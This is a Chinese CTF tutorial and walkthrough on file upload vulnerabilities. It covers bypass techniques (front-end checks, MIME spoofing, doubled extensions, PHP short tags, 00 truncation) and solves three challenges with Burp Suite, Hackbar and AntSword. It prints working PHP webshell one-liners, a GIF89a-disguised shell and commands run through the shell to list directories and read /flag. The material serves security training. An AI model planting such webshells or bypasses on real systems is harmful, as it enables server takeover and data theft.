目录
来给师兄上个马(前段验证)----2023秋季学期云曦新生期末考
这都不做(MIME绕过,短标签绕过,双写后缀)----2024春季学期云曦开学考
1,文件上传漏洞的介绍
先来说说什么是文件上传漏洞
文件上传漏洞是一种常见的网站安全问题,通常发生在网站允许用户上传文件的功能上。如果网站管理者没有正确处理文件上传的安全性,攻击者可能会利用这个功能上传恶意文件,例如包含病毒的文件、Webshell(一种可远程管理服务器的脚本文件)等,从而对服务器或其他用户的计算机造成安全威胁。文件上传漏洞可能导致以下安全问题:
-
执行恶意代码:如果服务器端没有严格限制可上传文件的类型,攻击者可能上传可执行文件或脚本,这些文件被服务器执行后可能会对系统造成破坏。
-
系统权限获取:通过上传具有特殊功能的文件(如Webshell),攻击者可能获取服务器的控制权限,进而控制整个服务器。
-
破坏网站正常运行:上传恶意文件可能导致网站服务中断,影响正常用户访问。
-
数据泄露:攻击者可以利用上传功能窃取服务器上的敏感数据。
-
传播恶意软件:通过文件上传功能,攻击者可以将恶意软件分发给其他用户下载。
CTF竞赛中的文件上传漏洞题目基本上都是通过修改数据包或其他有效方法绕过服务器前段和后端的各种验证,上传一句话木马到Web服务器以获得系统权限,然后找到靶机目录中的flag文件或有用的线索。
2,CTF竞赛中文件上传漏洞的题型总结
一、无验证
在这种题型中,服务器对上传的文件没有任何验证措施。这意味着攻击者可以随意上传任何类型的文件,包括恶意脚本或可执行文件。这为攻击者提供了直接的机会来利用服务器资源。
二、前端验证
前端验证类型的题目中,文件上传的限制(如文件类型、大小等)仅在客户端进行检查,而不是在服务器端。攻击者可以通过修改客户端代码或拦截请求来绕过这些限制。
三、.htaccess文件上传
1、题目简介
这种题目涉及到Apache服务器的配置文件.htaccess
。攻击者需要利用.htaccess
文件来改变服务器的行为,例如允许执行PHP代码。
2、解题思路
解题需要了解Apache服务器的工作原理以及.htaccess
文件的配置语法。攻击者首先尝试上传一个.htaccess
文件来修改服务器配置。
3、解题步骤
- 上传
.htaccess
文件以修改服务器配置。 - 上传符合新规则的文件(如含有PHP代码的图片文件)。
- 使用管理工具如蚁剑连接服务器,并执行上传的文件。
四、MIME绕过
1、知识点
MIME类型(多用途互联网邮件扩展类型)是一种标准,用于表示文档、文件或字节流的性质和格式。在这种题型中,攻击者需要绕过服务器端对MIME类型的检查。
2、解题思路
攻击者可能需要修改HTTP请求的Content-Type
头部,或者以其他方式欺骗服务器,使其接受并处理非法的文件类型。
五、文件头检查
在这类题目中,服务器会检查上传文件的头部信息以确定文件类型。攻击者需要修改文件头部,从而欺骗服务器,使其接受恶意文件。
六、00截断
1、知识点:PHP 5.2 00截断上传的原理
在PHP 5.2及之前的版本中,由于字符串处理的漏洞,攻击者可以通过插入一个NULL字节(即00截断)来终止字符串的处理。这可以用来绕过文件名的检查。
2、题目简介
这种题型要求攻击者利用00截断漏洞上传恶意文件。
3、解题步骤
- 制作一个文件名中包含NULL字节的文件。
- 上传文件,并利用服务器的漏洞使其处理截断后的文件名。
- 通过上传的恶意文件执行攻击。
七、双写后缀
这种题型要求攻击者通过在文件名中添加额外的后缀来绕过服务器的文件类型检查。例如,当我们上传.php结尾的木马文件后,服务器会将.php替换或注释,使服务器无法正常执行木马文件。此时,就需要双写后缀,例如php可以双写为pphphp,以此绕过限制。
3.CTF题目实训
easyupload(无验证)----2023PCTF
拿到题目后,发现是一道典型的文件上传漏洞题。查看网页源代码发现靶机具有前端验证功能,只能上传图片。
上传一个普通的图片文件后发现只要要过文件上传验证就能拿到flag。
首先写一个简单的一句话木马php文件,修改后缀为jpg绕过前端验证,通过burpsuite工具抓取上传数据包,讲png后缀改为php后放行,即可返回正确的flag。
本题完。
来给师兄上个马(前段验证)----2023秋季学期云曦新生期末考
先上传一个正常的文件试试
服务器端会把我们上传文件的后缀改为php,这就简单了,直接上传一个图片码就能解决。
首先编写一个一句话木马,再把后缀改为png,然后上传。
这里我们直接使用命令执行
本题完。
这都不做(MIME绕过,短标签绕过,双写后缀)----2024春季学期云曦开学考
这是一道文件上传漏洞利用的题目。
首先介绍一下什么是文件上传漏洞,什么是一句话木马:
需要绕过的地方
1. 文件类型验证:服务器可能会限制可以上传的文件类型,通常通过检查文件扩展名来实施。
2. 内容验证:服务器可能会检查文件的MIME类型或文件内容,以确保上传的是合法的图像或文档文件等。
3. 文件大小限制:上传的文件大小可能受到限制。
4. 服务端代码执行防护:服务器可能会尝试阻止上传的文件被执行,特别是对于脚本文件。
绕过的方式
1. 扩展名绕过:尝试改变文件扩展名或使用服务器允许的其他扩展名,例如将`.php`文件改为`.php5`、`.phtml`等。
2. 利用双写扩展名:如`shell.php.jpg`,某些服务器可能会误认为是合法的图片文件,实则最终以PHP文件执行。
3. MIME类型欺骗:在HTTP请求中修改`Content-Type`头,尝试绕过基于MIME类型的验证。
4. 内容混淆:将恶意代码嵌入到看似合法的文件中,如将PHP代码隐藏在图像文件中,尝试绕过内容基的检查。
5. 利用服务器配置错误:有些服务器配置可能允许执行带有特定扩展名的文件,甚至在文件名中包含某些关键字。
6. 利用文件解析漏洞:某些Web服务器或应用程序在解析文件时存在缺陷,如Apache的多后缀处理,可被利用来执行脚本。
一句话木马
一旦绕过了文件上传的限制,可以上传一句话木马来获取webshell。一句话木马通常是极其简短的脚本代码,用于远程执行命令,如:
<?php eval($_POST['cmd']); ?>
成功上传后,攻击者可以通过发送HTTP POST请求并携带`cmd`参数来执行服务器上的任意命令。
所以,我们这里的核心就是要绕过各种各样奇奇怪怪的上传限制,把一句话木马上传到服务器上并使他解释为PHP代码执行,我们就可以进行远程命令执行,相当于获得了管理员权限。
经过多次测试后,这道题目一共需要绕过三处:
1,文件名双写绕过2,文件类型绕过
3,PHP短标签绕过
绕过文件上传漏洞我们一般使用Burpsite,没错,又是这个老朋友。
使用Burpsuite工具抓包,抓包方法与前面一样。
右键发送到repeater重放器改包:
需要修改的是这三处:
经过多次尝试,服务器会将上传的文件后缀注释掉,不是.php结尾的文件,自然不会被服务器当做php代码执行。所以我们这里需要双写php,即在.php中间再加一个php,即为.pphphp,服务器会注释掉中间的php,还剩一个.php,其中的代码就可以被服务器执行。
还有一处需要绕过的是Content-type,即文件类型,这是文件上传漏洞题目中需要修改最多的地方,基本上每一题都要改这个地方。这里默认的是application/octet-stream,经过尝试报错,可以知道这里服务器只允许上传jpg图片文件,jpg文件的Content-type是image/jpeg。
最后一处需要绕过的地方是php短标签,这是需要补充的知识:
在PHP中,短标签(short tag)是一种简写形式的PHP标签。标准的PHP标签是`<?php`和`?>`,而短标签则是`<?`和`?>`。短标签的使用可以让PHP代码更简洁,但它需要在`php.ini`配置文件中通过`short_open_tag`选项被明确地启用。由于不是所有的服务器都启用了短标签,依赖短标签的代码可能在某些环境中无法正常运行,因此使用短标签可能会导致可移植性问题。
短标签绕过
在文件上传漏洞的上下文中,"短标签绕过"通常指的是攻击者利用目标服务器开启了对PHP短标签的支持这一点,通过上传包含短标签(如`<?`)的恶意PHP代码来执行远程代码。这是因为服务器可能仅仅检查文件是否包含标准的PHP开头标签(`<?php`),而忽略了短标签。
例如,如果攻击者知道目标服务器启用了PHP短标签,但文件上传过滤器只检查是否存在`<?php`标签来决定文件是否包含PHP代码,那么攻击者可以利用这个漏洞通过上传包含`<?`开头的PHP代码来绕过过滤器。
绕过示例
比如,一个简单的一句话木马PHP脚本,使用标准PHP标签可能是这样的:
<?php eval($_REQUEST['code']); ?>
但如果服务器开启了短标签支持,攻击者可以利用短标签绕过,简化为:
<? eval($_REQUEST['code']); ?>
或者更加隐蔽地使用:<?=shell_exec($_GET['cmd'])?>
这里`<?=`是另一种形式的短标签,用于输出,但它在PHP 5.4.0及更高版本中默认开启,不受`short_open_tag`配置选项的影响。
综上所述,需要修改的地方如图所示,然后点击放行:
(这里我们在一句话木马的内容前面加上GIF89a,这是GIF文件的标识,可以做到更好的隐藏。而且我们检验上传是否成功的方法一般为直接访问上传的一句话木马文件,在已经绕过所有限制,并且上传成功的前提下,服务器会执行我们上传的脚本,但是GIF89a只是一个标识,并不会被执行,访问文件时会正常显示在页面上,也方便我们自查一句话木马是否上传成功)
最后让我们猜路径,可以看到,处理文件上传的php脚本为upload.php,所以我们猜测存放上传文件的路径为/uplpad文件夹。
可以看到,这个php文件已经成功上传并被服务器执行。既然已经植入了木马,那我们也可以进行命令执行了。归根结底,我们需要找到的flag存放于网站某个目录下的某个文件中,我们要做的就是找到这个文件,并且读取文件中的内容。这里有两种做法,一种是直接在一句话木马界面进行命令执行,还有一种是使用中国蚁剑这个工具,可以连接已经上传的木马文件,从而获得访问网站目录等管理员权限。其实两种方法的原理都是一样的,只不过蚁剑提供了一个图形化界面,更加便捷。
首先我们进行第一种方式,命令执行:
这里我们使用的工具是浏览器插件Hackbar,注意,这里可不能直接通过URL访问,因为我们的一句话木马是要用POST请求方式才能起作用,直接访问默认使用的是GET请求方式。在一句话木马的界面,F12打开Hackbar工具,勾选POST Data,在下方的参数框中填入shell=system('ls');,意为列出当前目录下所有文件。出现yjh.php,说明命令起作用了。
shell=system('ls /');去根目录看看,可以看到flag文件
shell=system('cat /flag');使用cat命令查看flag文件中的内容
第二种方法:使用中国蚁剑工具:
右键空白页面添加数据,填上一句话木马的路径,密码为shell,测试连接
添加数据,直接双击第一个数据,查看网站目录,点击 / 查看网站根目录,即可在根目录中找到flag文件,双击查看就能看到flag。
本题完。